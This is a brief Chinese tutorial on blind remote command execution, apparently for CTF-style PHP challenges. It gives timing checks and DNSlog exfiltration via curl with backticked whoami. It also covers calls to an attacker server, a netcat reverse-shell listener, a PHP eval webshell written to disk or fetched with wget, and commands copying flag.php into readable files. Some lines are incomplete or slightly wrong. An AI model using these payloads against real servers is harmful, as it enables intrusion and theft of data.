什么是无回显RCE?
无回显RCE,简单来说就是没有任何回显,不管命令或代码是否执行成功。这样的命令执行函数有exec()、shell_exec()。
判断是否执行成功
延时:
windows:whoami&&ping -n 5 127.0.0.1
Linux:whoami&&sleep 5目标服务器向个人的公网服务器发起http请求,当该公网服务器收到http请求就代表命令有执行
nc -lvp 6666
curl 公网服务器IP:端口号
攻击方法
tee命令
ls | tee a #将ls的结果输入文件a中 |
dnslog.cn外带
- 适用Linux
- 命令用反引号包裹
- 命令中不能有空格
示例:
curl `whoami`.lc52y4.dnslog.cn |
反弹shell
nc -lvp 6666 |
直接写入或外部下载webshell
直接写入,需要站点目录具有写权限:
echo "<?php @eval(\$_POST[1]);?>" > exp.php
外部下载,目标服务器可以连接外网且与攻击机互通:
wget 攻击机IP -o exp.php
各种命令执行
前提:目标服务器上要有已知可读文件,站点目录具有写权限
通过执行命令,直接将php文件写入到在浏览器可直接读取的文件类型中(如txt文件),然后访问txt文件即可得到php文件内容。
cp和mv和重定向
cp flag.php 1.txt
mv flag.php 1.txt
cat flag.php > 1.txt
cat flag.php >> 1.txttar和zip
tar cvf flag.tar flag.php # 打包flag.php为flag.tar
tar zcvf flag.tar.gz flag.php # 压缩flag.php为flag.tar.gz
# 解压缩:tar zxvf flag.tar.gz
zip flag.zip flag.php
#解压缩:unzip flag.zip